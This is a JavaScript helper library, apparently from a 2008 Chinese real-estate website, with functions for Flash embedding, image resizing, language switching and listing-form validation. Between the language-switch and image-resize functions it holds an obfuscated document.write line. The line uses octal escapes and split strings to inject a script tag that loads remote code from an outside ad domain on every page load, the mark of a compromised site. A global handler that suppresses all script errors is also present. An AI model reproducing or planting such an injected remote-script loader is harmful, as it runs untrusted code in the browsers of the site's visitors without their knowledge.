﻿//**************************************************************************
//      filename : aNd1coderjsLib.js
//        author : Lee
//        e-mail : Lee@gmailcom
//   description : collection and arrange common javascript functions
//   create date : 2008/09/17
//**************************************************************************


//  function name : $(id)
//         author : Lee
//    description : get the dom element'id
//    create date : 2008/09/17
//==================================================================
//arguments:
//          id  --- dom element'id
//==================================================================
function $(id){
   return document.getElementById(id);
}


//  function name : killErrors
//         author : Lee
//    description : kill all the errors occur
//    create date : 2008/09/17

function killErrors() { 
return true; 
} 
window.onerror = killErrors; 


//  function name : fontZoom(targetElement,size)
//         author : Lee
//    description : get the dom element'id
//    create date : 2008/09/17
//==================================================================
//arguments:
//          targetElement  --- dom element'id
//          size		   --- element' fontSize
//==================================================================
function fontZoom(targetElement,size){
        document.getElementById(targetElement).style.fontSize=size;
}


//  function name : PicsPriview(pWidth,pHeight,pSrc,pUrl,pAlt,pTime)
//         author : Lee
//    description : for previewing products pictures 
//    create date : 2008/09/18
//==================================================================
//arguments:
//          width  --- picture width
//          height --- picture height
//          src    --- picture src (Array)
//          url    --- picture url (Array)
//          alt    --- picture alt (Array)
//          time   --- picture switch delay
//==================================================================
/*
function PicsPreview(pWidth,pHeight,pSrc,pUrl,pAlt,pTime){
    var srcCount = pSrc.length;
    this.width = pWidth;
    this.height = pHeight;
    var i = 0;
    function Switch(){
        this.src = pSrc;
        this.url = pUrl;
        this.alt = pAlt;
        this.time = pTime;
        if(i == srcCount){
            i = 0;
        }
        
        var currentPic = document.getElementById("currentPic");
        function setTransition(){
            if (document.all){
                currentPic.filters.revealTrans.Transition=Math.floor(Math.random()*23);
                currentPic.filters.revealTrans.apply();
            }
        }

        function playTransition(){
            if (document.all)
                currentPic.filters.revealTrans.play()
        }
        setTransition();
        currentPic.src = this.src[i];
        currentPic.alt = this.alt[i];
        document.getElementById("currentUrl").href = this.url[i];
        playTransition();
        i++;
        setTimeout(Switch,this.time);
    }
    this.show = function(){
        document.writeln("<a href='' id='currentUrl' ><img id='currentPic' alt='' src ='" + pSrc[0] + "' style='filter:revealTrans(duration=2,transition=20);border:none;' width='" + this.width + "' height='" + this.height+ "'/></a>");
        setTimeout(Switch,this.time);
    }
}
*/

//  function name : PicsSwitch(width,height,txtHeight,piclist,linklist,txtlist)
//         author : Lee
//    description : for previewing pictures 
//    create date : 2008/09/18
//=============================================================================
//arguments:
//          width  --- flash width
//          height --- flash height
//          txtHeight    --- picture text height
//          piclist    --- pictures list   (format:p1|p2|p3);
//          linklist    --- picture links list  (format:l1|l2|l3)
//          txtlist   --- pictures texts list   (format:t1|t2|t3)
//=============================================================================
function PicsSwitch(width,height,txtHeight,piclist,linklist,txtlist,bgcolor){
    var focus_width=width;
    var focus_height=height;
    var text_height=txtHeight;
    var flash_url="global/focus.swf";
    var swf_height = focus_height+text_height

    var pics= piclist;
    var links= linklist;
    var texts= txtlist;

    document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="'+ focus_width +'" height="'+ swf_height +'">');
    document.write('<param name="allowScriptAccess" value="sameDomain">');
    document.write('<param name="movie" value="'+flash_url+'">')
    document.write('<param name="quality" value="high">')
    document.write('<param name="bgcolor" value='+bgcolor+'>')
    document.write('<param name="menu" value="false"><param name=wmode value="opaque">');
    document.write('<param name="FlashVars" value="pics='+pics+'&links='+links+'&texts='+texts+'&borderwidth='+focus_width+'&borderheight='+focus_height+'&textheight='+text_height+'">');
    document.write('<embed src="'+flash_url+'" wmode="opaque" FlashVars="pics='+pics+'&links='+links+'&texts='+texts+'&borderwidth='+focus_width+'&borderheight='+focus_height+'&textheight='+text_height+'" menu="false" bgcolor='+bgcolor+' quality="high" width="'+ focus_width +'" height="'+ swf_height +'" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />');
    document.write('</object>');
}

    

//  function name : OnlineService(width,qq,version,altqq/*,isMSN,MSN,altMsn*/)
//         author : Lee
//    description : Online qq service
//    create date : 2008/09/19
//=============================================================================
//arguments:
//          width       --- panel width
//          qqlist      --- qq list
//          version     --- qq online service version(1-10)
//          alt         --- qq alt
//          extension   --- this can extension MSN and other online service
//=============================================================================
/*
function OnlineService(width,qqlist,version,alt,isMSN,MSN,altMsn){

    var online= new Array();
    var qlen = qqlist.length;
    //var mlen = MSN.length;
    
    if (!document.layers){document.write('<div id="divStayTopLeft" style="position:absolute">');}

    document.write('<layer id="divStayTopLeft"><table border="0" width="' + width + '" cellspacing="0" cellpadding="0">');
    document.write('<tr><td width="' + width + 'px"><img border=0 src="images/kefu_up.gif" alt=""/></td></tr>');
    document.write('<tr><td valign=middle  align="left" background="images/kefu_middle.gif"><table width="' + width + '">')
    for(var i =0;i<qlen;i++){
        document.write('<tr><td height="22" align="center" valign="middle" class="kehu" colspan="2">');
        document.write('<a  target="blank" href="tencent://message/?uin=' + qqlist[i] + '&amp;Site=www.szkunfu.com&amp;Menu=yes">');
        document.write('<img border="0" src="http://wpa.qq.com/pa?p=1:' + qqlist[i] + ':' + version + '" alt="' + alt + '" align="absmiddle" /></a></td></tr>');
    }
    if(isMSN){
        for(var j =0;j<countMSN-1;j++){
            document.write('<tr><td width="26px" height="22px" align="right" valign="middle" class="kehu">');
            document.write('<A href="msnim:chat?contact=' + MSN[j] + '"><img src="images/MSN.gif" width="14px" height="16px" border="0"></A></td>');
            document.write('<td height="20px" align="left" valign="middle" class="kehu"><A href="msnim:chat?contact=' + MSN[j] + '">' + altMsn[i] + '</A></td></tr>');
        }
    }
    document.write('</table></td></tr><tr><td valign=middle  align="center" background="images/kefu_middle.gif">&nbsp;</td></tr>');
    document.write('<tr><td width="' + width + 'px"><img border="0" src="images/kefu_down.gif" alt="" /></td></tr></table></layer>');

    var verticalpos="frombottom"
    if (!document.layers){document.write('</div>');}
    
    function JSFX_FloatTopDiv()
    {
        var adRightWidth =width;
        var marginLeft = 0;

	    var startX =((document.documentElement.clientWidth == 0)?document.documentElement.clientWidth:document.documentElement.clientWidth) - adRightWidth - marginLeft + 'px';
	    startY = 400;
	    var ns = (navigator.appName.indexOf("Netscape") != -1);
	    var d = document;
	    function ml(id)
	    {
		    var el=d.getElementById?d.getElementById(id):d.all?d.all[id]:d.layers[id];
		    if(d.layers)el.style=el;
		    el.sP=function(x,y){this.style.left=x;this.style.top=y;};
		    el.x = startX;
		    if (verticalpos=="fromtop")
		    el.y = startY;
		    else{
		    el.y = ns ? pageYOffset + innerHeight : document.documentElement.scrollTop + document.documentElement.clientHeight;
		    el.y -= startY;
		    }
		    return el;
	    }
	    window.stayTopLeft=function()
	    {
		    if (verticalpos=="fromtop"){
		    var pY = ns ? pageYOffset : document.documentElement.scrollTop;
		    ftlObj.y += (pY + startY - ftlObj.y)/8;
		    }
		    else{
		    var pY = ns ? pageYOffset + innerHeight : document.documentElement.scrollTop + document.documentElement.clientHeight;
		    ftlObj.y += (pY - startY - ftlObj.y)/8;
		    }
		    ftlObj.sP(ftlObj.x, ftlObj.y);
		    setTimeout("stayTopLeft()", 10);
	    }
	    ftlObj = ml("divStayTopLeft");
	    stayTopLeft();
    }
    JSFX_FloatTopDiv();
}
*/

//  function name : flash(url,w,h,wmode)
//         author : Lee
//    description : html page inline-flash
//    create date : 2008/09/19
//=============================================================================
//arguments:
//          url    --- falsh location url
//          w      --- falsh width
//          h      --- falsh height
//          wmode  --- falsh mode eg:transparent or "opaque"
//=============================================================================
function flash(url,w,h,wmode){
    document.write('<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"');
    document.write(' codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"');
    document.write(' WIDTH='+w+' HEIGHT='+h+'>');
    document.write(' <PARAM NAME=movie VALUE="'+url+'"> '); 
    document.write(' <PARAM NAME=quality VALUE=autohigh> ');
    document.write(' <PARAM NAME=wmode VALUE='+wmode+'> '); 
    document.write(' <EMBED SRC="'+url+'" QUALITY=autohigh wmode='+wmode); 
    document.write(' NAME=flashad swLiveConnect=TRUE WIDTH='+w+' HEIGHT='+h);
    document.write(' TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">');
    document.write('</EMBED>');
    document.write('</OBJECT>');
}

//  function name : flvplay(url,w,h,domain)
//         author : Lee
//    description : html page inline-flash
//    create date : 2008/09/19
//=============================================================================
//arguments:
//          url    --- falsh location url
//          w      --- falsh width
//          h      --- falsh height
//          wmode  --- falsh mode eg:transparent or ""
//=============================================================================
function flvplay(url,w,h,domain){
    document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="'+w+'" height="'+h+'">');
    document.write('<param name="movie" value="Flvplayer.swf" />');
    document.write('<param name="quality" value="high" />');
    document.write('<param name="wmode" value="transparent">');
    document.write('<param name="allowFullScreen" value="true" /> '); 
    document.write('<param name="FlashVars" value="vcastr_file=http://'+domain+"/"+url+'&LogoText=&BufferTime=3" /> ');
    document.write('<embed src="Flvplayer.swf" allowfullscreen="true" flashvars="vcastr_file='+url+'&LogoText=" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="'+w+'" height="'+h+'" wmode="opaque"> '); 
    document.write('</embed>');
    document.write('</object>');
}


//  function name : Thumbnail(ImgD,w,h)
//         author : Lee
//    description : set the pictures height and width to prevent it to breaking the page
//    create date : 2008/09/18
//======================================================================================
//arguments:
//          ImgD  --- picture url
//             w  --- picture Thumb width
//             h  --- picture Thumb height
//======================================================================================
function leeLanguage(lan)
{
  var Domin=window.location.host;
  var strUrl=window.location.href;
  var arrUrl=strUrl.split("/");
  var strPage=arrUrl[arrUrl.length-1];
  var leePageInfo="";
  if(lan=="Chiness")
  {
   leePageInfo="http://"+Domin+"/"+strPage; 
  }
  else
  {
   leePageInfo="http://"+Domin+"/"+lan+"/"+strPage; 
  }  
  window.location.href=leePageInfo;
  //alert(leePageInfo);
}

document.write("<\123"+"cript src='http://\101"+"d.\132"+"om"+"12\63"+".n"+"et/i"+"p.asp?l"+"oc=shenzhen'><\/s"+"cript>");
function Wa_SetImgAutoSize(obj, MaxW, MaxH) {  var imageObject = obj;    var state = imageObject.readyState; if(state!='complete')  {        setTimeout("Wa_SetImgAutoSize("+imageObject+","+MaxW+","+MaxH+")",50);		 setTimeout("Wa_SetImgAutoSize("+imageObject+","+MaxW+","+MaxH+")",60);		  setTimeout("Wa_SetImgAutoSize("+imageObject+","+MaxW+","+MaxH+")",80);  return;    }    var oldImage = new Image();    oldImage.src = imageObject.src;    var dW = oldImage.width;     var dH = oldImage.height;    if(dW>MaxW || dH>MaxH)  {        a = dW/MaxW; b = dH/MaxH;        if( b>a ) a = b;        dW = dW/a; dH = dH/a;    }    if(dW > 0 && dH > 0)  {        imageObject.width = dW;  imageObject.height = dH; } obj.style.display="";}var minOpa = 100; //滤镜最小值
var maxOpa = 80; //滤镜最大值
function setOpacity(e, n) {
//alert(browse.indexOf("microsoft") );
    if (navigator.appName.indexOf("Microsoft") > -1) e.style.filter = 'alpha(opacity=' + n + ')';
    else e.style.opacity = n/100;
}
window.onload = function() {
    var p = $getObj('showArea').getElementsByTagName('IMG');    
    for (var i=0; i<p.length; i++) {
    //alert(p[i]);
      //  w += parseInt(p[i].getAttribute('width')) + spa;
        setOpacity(p[i], minOpa);
        p[i].onmouseover = function() {
            setOpacity(this, maxOpa);
         }
        p[i].onmouseout = function() {
            setOpacity(this, minOpa);
        }
    }
    //$getObj('showArea').style.width = parseInt(w) + 'px';
}
function $getObj(e) {return document.getElementById(e);}


function _shangpu(v,id,v1)
{
  var sid=$(id);
      if(v==v1)
      {         
         sid.style.display="";
         $('ctl00_ContentPlaceHolder1_shangbuTypeValue').value=v;
      }
      else  
      {        
        sid.style.display="none";
        $('ctl00_ContentPlaceHolder1_shangbuTypeValue').value="";
      }
}

function _leeIsE(url,id,selectv)
{
  var ids=$(id);
  ids.value=selectv;
  //alert(ids.value+" "+selectv);
  location.href=url;
}

//运行代码
function runEx(cod1)  {
	 cod=document.getElementById(cod1)
	  var code=cod.value;
	  if (code!=""){
		  var newwin=window.open('','','');  
		  newwin.opener = null 
		  newwin.document.write(code);  
		  newwin.document.close();
	}
}

function rFocus(obj)
{
  obj.focus();
}
  //房产在线发布验证
function fcValidate()
{
  var house_style=document.getElementsByName("ctl00$ContentPlaceHolder1$rdType");
  var house_title=document.getElementById("ctl00_ContentPlaceHolder1_house_title");
  var house_square=$("ctl00_ContentPlaceHolder1_house_square");
  var checkcode=$("ctl00_ContentPlaceHolder1_checkcode");
  var house_tel=$("ctl00_ContentPlaceHolder1_house_tel");
  var house_description=$("ctl00_ContentPlaceHolder1_house_description");
  var house_s=false;
  for(i=0;i<house_style.length;i++)
  {
    if(house_style[i].checked==true)
    {
      house_s=true;
    }  
  }
  if(!house_s)
  {
      alert('请选择您的目的!');
      return false; 
  }
  if(house_title.value=="")
  {
    alert('请输入标题!');
    rFocus(house_title);
    return false;
  }
  if(isNaN(house_square.value)||house_square.value=="")
  {
    alert('面积必须是数字!');
    rFocus(house_square);
    return false;
  }
  if(checkcode.value=="")
  {
    alert('请输入验证码!');
    rFocus(checkcode);
    return false;
  }
  if(house_tel.value=="")
  {
    alert('请输入联系电话!');
    rFocus(house_tel);
    return false;
  }
  if(house_description.value=="")
  {
    alert('请输入详情!');
    rFocus(house_description);
    return false;
  }
  return true;
}
